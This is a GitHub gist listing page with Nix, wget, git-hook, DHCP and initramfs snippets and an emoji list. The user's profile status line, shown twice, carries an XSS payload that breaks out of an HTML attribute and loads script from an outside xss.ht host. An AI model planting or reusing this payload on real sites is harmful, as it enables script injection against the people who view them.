Skip to content

Instantly share code, notes, and snippets.

Avatar
⚙️
Factorio - "><script src=https://sandro.xss.ht></script>

Sandro SuperSandro2000

⚙️
Factorio - "><script src=https://sandro.xss.ht></script>
View GitHub Profile
@SuperSandro2000
SuperSandro2000 / nix-installer-unstable.md
Created Mar 30, 2021
Upgrade nix installed with nix-installer to unstable
View nix-installer-unstable.md
  1. systemctl disable --now nix-daemon.service nix-daemon.socket
  2. nix-env -p /nix/var/nix/profiles/default/ --install nix-2.4pre20210317_8a5203d
  3. rm /etc/profile.d/nix.sh /etc/profile.d/nix-daemon.sh
  4. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix.sh /etc/profile.d/nix.sh
  5. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh /etc/profile.d/nix-daemon.sh
  6. systemctl link /nix/var/nix/profiles/default/lib/systemd/system/nix-daemon.{service,socket}
View Creating a static copy of a dynamic website.md

The command line, in short…

wget -k -K -E -r -l 10 -p -N -F --restrict-file-names=windows -nH http://website.com/

…and the options explained

  • -k : convert links to relative
  • -K : keep an original versions of files without the conversions made by wget
  • -E : rename html files to .html (if they don’t already have an htm(l) extension)
  • -r : recursive… of course we want to make a recursive copy
  • -l 10 : the maximum level of recursion. if you have a really big website you may need to put a higher number, but 10 levels should be enough.
View nix-rg-hash
#!/usr/bin/env nix-shell
#!nix-shell -i bash -p ripgrep
#!/usr/bin/env bash
# vim: set filetype=bash:
set -eou pipefail
if [[ $# != 1 ]]; then
echo "Usage: $0 038342z429cavdp2q3mjczlprw83nca030mjlipjppr43bzg9db0"
exit 0
@SuperSandro2000
SuperSandro2000 / prepare-commit-msg.sh
Last active Apr 5, 2021
prepare commit message for nixpkgs. put into .git/hooks/prepare-commit-msg
View prepare-commit-msg.sh
# shellcheck disable=SC2034
COMMIT_MSG_FILE=$1 # file which contains the commmit message
# shellcheck disable=SC2034
COMMIT_SOURCE=$2 # eg commit
# shellcheck disable=SC2034
SHA1=$3 # eg head
if [[ -z $SHA1 && -z $COMMIT_SOURCE && $(realpath "$COMMIT_MSG_FILE") == $HOME/src/nixpkgs/* ]]; then
staged_files=$(git diff --cached --name-status | awk '{print $2}')
if [[ $(echo "$staged_files" | wc -l) == 1 ]]; then
@SuperSandro2000
SuperSandro2000 / gist:b120efa8015e96588f71ab1f893bd67d
Created Jul 6, 2020 — forked from rxaviers/gist:7360908
Complete list of github markdown emoji markup
View gist:b120efa8015e96588f71ab1f893bd67d

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
View isc-dhcp.diff
diff --git a/debian/initramfs-tools/lib/etc/dhcp/dhclient-enter-hooks.d/config b/debian/initramfs-tools/lib/etc/dhcp/dhclient-enter-hooks.d/config
index aab6611..7f6b2fb 100755
--- a/debian/initramfs-tools/lib/etc/dhcp/dhclient-enter-hooks.d/config
+++ b/debian/initramfs-tools/lib/etc/dhcp/dhclient-enter-hooks.d/config
@@ -2,48 +2,56 @@
case "$reason" in
BOUND)
- echo "DEVICE=$interface" >> /run/net-$interface.conf
- echo "PROTO=dhcp" >> /run/net-$interface.conf
View hetzner-dropbear-network.patch
*** /usr/share/initramfs-tools/scripts/functions 2019-09-07 00:12:03.587701832 +0200
--- /usr/share/initramfs-tools/scripts/functions 2019-09-07 00:13:00.793664387 +0200
***************
*** 632,637 ****
--- 632,640 ----
> "${out_d}/$name.yaml"
done
rm -Rf "$tmpd"
+ # Hetzner patch
+ ip route add ${IPV4GATEWAY}/${IPV4NETMASK} dev ${DEVICE}